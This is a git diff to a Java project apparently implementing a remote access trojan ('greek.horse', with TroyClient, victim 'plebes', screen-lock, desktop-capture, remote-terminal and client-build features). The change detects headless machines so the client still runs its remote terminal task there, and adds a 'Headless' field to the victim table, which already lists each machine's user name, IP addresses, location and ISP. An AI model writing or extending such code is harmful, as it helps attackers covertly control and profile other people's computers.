diff --git a/shade/Server.jar b/shade/Server.jar index f603239..2912b5b 100644 Binary files a/shade/Server.jar and b/shade/Server.jar differ diff --git a/src/main/java/greek/horse/client/ClientSocketManager.java b/src/main/java/greek/horse/client/ClientSocketManager.java index ef1fd32..32c3e2c 100644 --- a/src/main/java/greek/horse/client/ClientSocketManager.java +++ b/src/main/java/greek/horse/client/ClientSocketManager.java @@ -34,17 +34,19 @@ public class ClientSocketManager { private AtomicBoolean running = new AtomicBoolean(true); private final TroyClient troyClient; - private final Robot bot = new Robot(); + private final Robot bot = headless ? null : new Robot(); public final static HashMap extendedKeys = createMap(); private final AtomicReference oos = new AtomicReference<>(); private Socket socket; private final ExecutorService threadPool = Executors.newCachedThreadPool(); - private final LockTask lockTask = new LockTask(this, bot); private final ClientTerminalTask terminalTask = new ClientTerminalTask(this); - private final DesktopTask desktopTask = new DesktopTask(this, bot); - private final ClientChatTask chatTask = new ClientChatTask(this); + private final LockTask lockTask = headless ? null : new LockTask(this, bot); + private final DesktopTask desktopTask = headless ? null : new DesktopTask(this, bot); + private final ClientChatTask chatTask = headless ? null : new ClientChatTask(this); + + private static final boolean headless = GraphicsEnvironment.isHeadless(); private final HashMap fixedMap = new HashMap<>(); @@ -53,10 +55,12 @@ public class ClientSocketManager { public ClientSocketManager(TroyClient troyClient) throws AWTException { this.troyClient = troyClient; - threadPool.execute(lockTask); + if (!headless) { + threadPool.execute(lockTask); + threadPool.execute(desktopTask); + threadPool.execute(chatTask); + } threadPool.execute(terminalTask); - threadPool.execute(desktopTask); - threadPool.execute(chatTask); } private static HashMap createMap() { @@ -187,7 +191,7 @@ public class ClientSocketManager { } private Object sendMessage(Object o) { - chatTask.addMessage((String)o); + chatTask.addMessage((String) o); return null; } @@ -429,7 +433,7 @@ public class ClientSocketManager { JsonReader reader = Json.createReader(new StringReader(response.body().string())); JsonObject json = reader.readObject(); - return new NetInfo(inet, json); + return new NetInfo(inet, json, headless); } diff --git a/src/main/java/greek/horse/models/NetInfo.java b/src/main/java/greek/horse/models/NetInfo.java index 707a600..e6dc2e3 100644 --- a/src/main/java/greek/horse/models/NetInfo.java +++ b/src/main/java/greek/horse/models/NetInfo.java @@ -23,9 +23,10 @@ public class NetInfo implements Serializable { private final String isp; private final String org; private final String as; + private final boolean headless; - public NetInfo(String userName, OS os, String bigOs, String hostName, String localIP, String externalIP, String country, String region, String city, String timeZone, String isp, String org, String as) { + public NetInfo(String userName, OS os, String bigOs, String hostName, String localIP, String externalIP, String country, String region, String city, String timeZone, String isp, String org, String as, boolean headless) { this.userName = userName; this.os = os; this.bigOs = bigOs; @@ -39,10 +40,10 @@ public class NetInfo implements Serializable { this.isp = isp; this.org = org; this.as = as; - + this.headless = headless; } - public NetInfo(InetAddress inet, JsonObject json) throws IOException { + public NetInfo(InetAddress inet, JsonObject json, boolean headless) throws IOException { if (!json.getString("status").contains("success")){ throw new IOException("Status returner false: "+json.getString("status")); @@ -59,6 +60,7 @@ public class NetInfo implements Serializable { os = OS.UNKNOWN; } + this.headless = headless; this.bigOs = System.getProperty("os.name"); this.userName = SystemUtils.getUserName(); @@ -147,6 +149,10 @@ public class NetInfo implements Serializable { return bigOs; } + public boolean isHeadless() { + return headless; + } + public String getTitle(){ return this.userName+"@"+this.externalIP; } diff --git a/src/main/java/greek/horse/server/troyStructure/NetInfoTable.java b/src/main/java/greek/horse/server/troyStructure/NetInfoTable.java index fefba47..46b549d 100644 --- a/src/main/java/greek/horse/server/troyStructure/NetInfoTable.java +++ b/src/main/java/greek/horse/server/troyStructure/NetInfoTable.java @@ -21,6 +21,8 @@ public class NetInfoTable { private final SimpleStringProperty isp; private final SimpleStringProperty os; private final SimpleStringProperty bigOs; + private final SimpleStringProperty headlessText; + private final boolean headless; private final TroyPlebe father; public NetInfoTable(NetInfo netInfo, TroyPlebe father) { @@ -32,6 +34,8 @@ public class NetInfoTable { this.isp = new SimpleStringProperty(netInfo.getIsp()); this.os = new SimpleStringProperty(netInfo.getOs().toString()); this.bigOs = new SimpleStringProperty(netInfo.getBigOs()); + this.headlessText = new SimpleStringProperty(netInfo.isHeadless()?"Yes":"No"); + this.headless = netInfo.isHeadless(); this.father = father; String countryName = netInfo.getCountry().toLowerCase(Locale.ROOT); @@ -108,6 +112,18 @@ public class NetInfoTable { return bigOs.get(); } + public boolean isHeadless() { + return headless; + } + + public String getHeadlessText() { + return headlessText.get(); + } + + public SimpleStringProperty headlessTextProperty() { + return headlessText; + } + public SimpleStringProperty bigOsProperty() { return bigOs; } diff --git a/src/main/java/greek/horse/server/ui/controllers/HorseController.java b/src/main/java/greek/horse/server/ui/controllers/HorseController.java index 9d67efd..9f37639 100644 --- a/src/main/java/greek/horse/server/ui/controllers/HorseController.java +++ b/src/main/java/greek/horse/server/ui/controllers/HorseController.java @@ -43,11 +43,12 @@ public class HorseController { public TableColumn regionColumn; public TableColumn cityColumn; public TableColumn flagColumn; - public TextField portStart; public TableColumn ispColumn; public TableColumn osColumn; - public TableView tableView; public TableColumn bigOsColumn; + public TableColumn headlessColumn; + public TableView tableView; + public TextField portStart; public TextField portBuild; public TextField hostBuild; public Button buildBtn; @@ -115,13 +116,13 @@ public class HorseController { private void startTable() { ObservableList plebeObservableList = this.troyServer.getPlebes(); - // for demo-ing app +// for demo-ing app // for (int i = 0; i < 10; i++) { -// tableView.getItems().add(new NetInfoTable(new NetInfo("Robert", OS.WINDOWS, "Windows 10", "DESKTOP-DGSDF", "192.168.0.1", "200.98.134.27", "Brazil", "Sao Paulo", "Sao Paulo", "America/Sao_Paulo", "Universo Online S.A.", "Universo Online S.A.", "AS7162 Universo Online S.A."), new TroyPlebe("skibidi"))); -// tableView.getItems().add(new NetInfoTable(new NetInfo("Lorem", OS.UNIX, "Fedora 35", "SERVER-WSJDN", "192.168.43.1", "104.244.72.248", "Luxembourg", "Mersch", "Roost", "Europe/Luxembourg", "FranTech Solutions", "BuyVM", "AS53667 FranTech Solutions"), new TroyPlebe("skibidi"))); -// tableView.getItems().add(new NetInfoTable(new NetInfo("Yuri", OS.MAC, "MacOs X", "DESKTOP-WSJDN", "192.168.13.1", "207.188.139.168", "Spain", "Extremadura", "Badajoz", "Europe/Madrid", "Xtra Telecom S.A", "Xtra Telecom S.A", "AS15704 XTRA TELECOM S.A."), new TroyPlebe("skibidi"))); -// tableView.getItems().add(new NetInfoTable(new NetInfo("Jonah", OS.UNIX, "Mint 20.2", "SERVER-WSJDN", "192.168.1.1", "46.29.248.238", "Sweden", "Stockholm County", "Stockholm", "Europe/Stockholm", "Inter Connects Inc", "Sweden", "AS57858 Inter Connects Inc"), new TroyPlebe("skibidi"))); -// tableView.getItems().add(new NetInfoTable(new NetInfo("Gabriel", OS.UNKNOWN, "Temple OS 5.03", "DESKTOP-WSJDN", "192.168.15.1", "45.137.184.31", "Netherlands", "North Holland", "Amsterdam", "Europe/Amsterdam", "NL-MOTP", "", "AS41047 Bart Vrancken trading as MLaB"), new TroyPlebe("skibidi"))); +// tableView.getItems().add(new NetInfoTable(new NetInfo("Robert", OS.WINDOWS, "Windows 10", "DESKTOP-DGSDF", "192.168.0.1", "200.98.134.27", "Brazil", "Sao Paulo", "Sao Paulo", "America/Sao_Paulo", "Universo Online S.A.", "Universo Online S.A.", "AS7162 Universo Online S.A.", false), new TroyPlebe("skibidi"))); +// tableView.getItems().add(new NetInfoTable(new NetInfo("Lorem", OS.UNIX, "Fedora 35", "SERVER-WSJDN", "192.168.43.1", "104.244.72.248", "Luxembourg", "Mersch", "Roost", "Europe/Luxembourg", "FranTech Solutions", "BuyVM", "AS53667 FranTech Solutions", true), new TroyPlebe("skibidi"))); +// tableView.getItems().add(new NetInfoTable(new NetInfo("Yuri", OS.MAC, "MacOs X", "DESKTOP-WSJDN", "192.168.13.1", "207.188.139.168", "Spain", "Extremadura", "Badajoz", "Europe/Madrid", "Xtra Telecom S.A", "Xtra Telecom S.A", "AS15704 XTRA TELECOM S.A.", false), new TroyPlebe("skibidi"))); +// tableView.getItems().add(new NetInfoTable(new NetInfo("Jonah", OS.UNIX, "Mint 20.2", "SERVER-WSJDN", "192.168.1.1", "46.29.248.238", "Sweden", "Stockholm County", "Stockholm", "Europe/Stockholm", "Inter Connects Inc", "Sweden", "AS57858 Inter Connects Inc", true), new TroyPlebe("skibidi"))); +// tableView.getItems().add(new NetInfoTable(new NetInfo("Gabriel", OS.UNKNOWN, "Temple OS 5.03", "DESKTOP-WSJDN", "192.168.15.1", "45.137.184.31", "Netherlands", "North Holland", "Amsterdam", "Europe/Amsterdam", "NL-MOTP", "", "AS41047 Bart Vrancken trading as MLaB", false), new TroyPlebe("skibidi"))); // } plebeObservableList.addListener((ListChangeListener) lis -> { @@ -164,6 +165,7 @@ public class HorseController { ispColumn.setCellValueFactory(c -> c.getValue().ispProperty()); osColumn.setCellValueFactory(c -> c.getValue().osProperty()); bigOsColumn.setCellValueFactory(c -> c.getValue().bigOsProperty()); + headlessColumn.setCellValueFactory(c -> c.getValue().headlessTextProperty()); tableView.setRowFactory(new HorseRowFactory(this)); } @@ -314,6 +316,7 @@ public class HorseController { "User name: ", "OS: ", "Big OS: ", + "Headless: ", "Host name: ", "Local IP: ", "External IP: ", @@ -330,6 +333,7 @@ public class HorseController { netInfo.getUserName(), netInfo.getOs().toString(), netInfo.getBigOs(), + String.valueOf(netInfo.isHeadless()), netInfo.getHostName(), netInfo.getLocalIP(), netInfo.getExternalIP(), diff --git a/src/main/java/greek/horse/server/ui/formmaters/HorseRowFactory.java b/src/main/java/greek/horse/server/ui/formmaters/HorseRowFactory.java index 101c78b..1784599 100644 --- a/src/main/java/greek/horse/server/ui/formmaters/HorseRowFactory.java +++ b/src/main/java/greek/horse/server/ui/formmaters/HorseRowFactory.java @@ -4,11 +4,15 @@ import greek.horse.server.troyStructure.NetInfoTable; import greek.horse.server.ui.ChatApp; import greek.horse.server.ui.controllers.HorseController; import javafx.embed.swing.SwingFXUtils; +import javafx.event.EventHandler; import javafx.geometry.Insets; import javafx.scene.control.*; import javafx.scene.image.ImageView; +import javafx.scene.input.ContextMenuEvent; import javafx.util.Callback; +import javax.swing.event.DocumentEvent; + public class HorseRowFactory implements Callback, TableRow> { private final HorseController controller; @@ -38,7 +42,7 @@ public class HorseRowFactory implements Callback, TableR MenuItem disconnect = new MenuItem("Disconnect", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("disconnect", 0.07), null))); - MenuItem stop = new MenuItem("Stop",new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("stop", 0.07), null))); + MenuItem stop = new MenuItem("Stop", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("stop", 0.07), null))); Menu manageClient = new Menu("Manage Client", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("client", 0.07), null))); manageClient.getItems().addAll(disconnect, stop); @@ -62,7 +66,7 @@ public class HorseRowFactory implements Callback, TableR this.controller.contextStop(row); }); - chat.setOnAction(event ->{ + chat.setOnAction(event -> { this.controller.contextChat(row); }); @@ -78,6 +82,24 @@ public class HorseRowFactory implements Callback, TableR this.controller.contextFullData(row); }); + // sort of one time event + EventHandler handler = new EventHandler<>() { + @Override + public void handle(ContextMenuEvent contextMenuEvent) { + NetInfoTable item = row.getItem(); + if (item != null) { + if (item.isHeadless()) { + desktop.setDisable(true); + lock.setDisable(true); + chat.setDisable(true); + } + row.removeEventFilter(ContextMenuEvent.CONTEXT_MENU_REQUESTED, this); + } + } + }; + + row.addEventFilter(ContextMenuEvent.CONTEXT_MENU_REQUESTED, handler); + contextMenu.getItems().addAll(monitoring, interaction, manageClient); row.setContextMenu(contextMenu); diff --git a/src/main/resources/scenes/horse.fxml b/src/main/resources/scenes/horse.fxml index 187f330..0a1caaf 100644 --- a/src/main/resources/scenes/horse.fxml +++ b/src/main/resources/scenes/horse.fxml @@ -11,9 +11,9 @@ - +
- + @@ -24,6 +24,7 @@ +
diff --git a/target/chat-1.0-SNAPSHOT.jar b/target/chat-1.0-SNAPSHOT.jar index 080f963..c130872 100644 Binary files a/target/chat-1.0-SNAPSHOT.jar and b/target/chat-1.0-SNAPSHOT.jar differ diff --git a/target/classes/greek/horse/client/ClientSocketManager$1.class b/target/classes/greek/horse/client/ClientSocketManager$1.class index 994fbb5..b125340 100644 Binary files a/target/classes/greek/horse/client/ClientSocketManager$1.class and b/target/classes/greek/horse/client/ClientSocketManager$1.class differ diff --git a/target/classes/greek/horse/client/ClientSocketManager.class b/target/classes/greek/horse/client/ClientSocketManager.class index 809a191..956d6f6 100644 Binary files a/target/classes/greek/horse/client/ClientSocketManager.class and b/target/classes/greek/horse/client/ClientSocketManager.class differ diff --git a/target/classes/greek/horse/models/NetInfo.class b/target/classes/greek/horse/models/NetInfo.class index 0c61b2d..4fb0c8f 100644 Binary files a/target/classes/greek/horse/models/NetInfo.class and b/target/classes/greek/horse/models/NetInfo.class differ diff --git a/target/classes/greek/horse/server/troyStructure/NetInfoTable.class b/target/classes/greek/horse/server/troyStructure/NetInfoTable.class index 1b0c571..e22a333 100644 Binary files a/target/classes/greek/horse/server/troyStructure/NetInfoTable.class and b/target/classes/greek/horse/server/troyStructure/NetInfoTable.class differ diff --git a/target/classes/greek/horse/server/ui/controllers/HorseController.class b/target/classes/greek/horse/server/ui/controllers/HorseController.class index 899ca44..fcd6a1b 100644 Binary files a/target/classes/greek/horse/server/ui/controllers/HorseController.class and b/target/classes/greek/horse/server/ui/controllers/HorseController.class differ diff --git a/target/classes/greek/horse/server/ui/formmaters/HorseRowFactory$1.class b/target/classes/greek/horse/server/ui/formmaters/HorseRowFactory$1.class new file mode 100644 index 0000000..4373496 Binary files /dev/null and b/target/classes/greek/horse/server/ui/formmaters/HorseRowFactory$1.class differ diff --git a/target/classes/greek/horse/server/ui/formmaters/HorseRowFactory.class b/target/classes/greek/horse/server/ui/formmaters/HorseRowFactory.class index 13d9ee3..66d9e53 100644 Binary files a/target/classes/greek/horse/server/ui/formmaters/HorseRowFactory.class and b/target/classes/greek/horse/server/ui/formmaters/HorseRowFactory.class differ diff --git a/target/classes/scenes/horse.fxml b/target/classes/scenes/horse.fxml index 187f330..0a1caaf 100644 --- a/target/classes/scenes/horse.fxml +++ b/target/classes/scenes/horse.fxml @@ -11,9 +11,9 @@ - +
- + @@ -24,6 +24,7 @@ +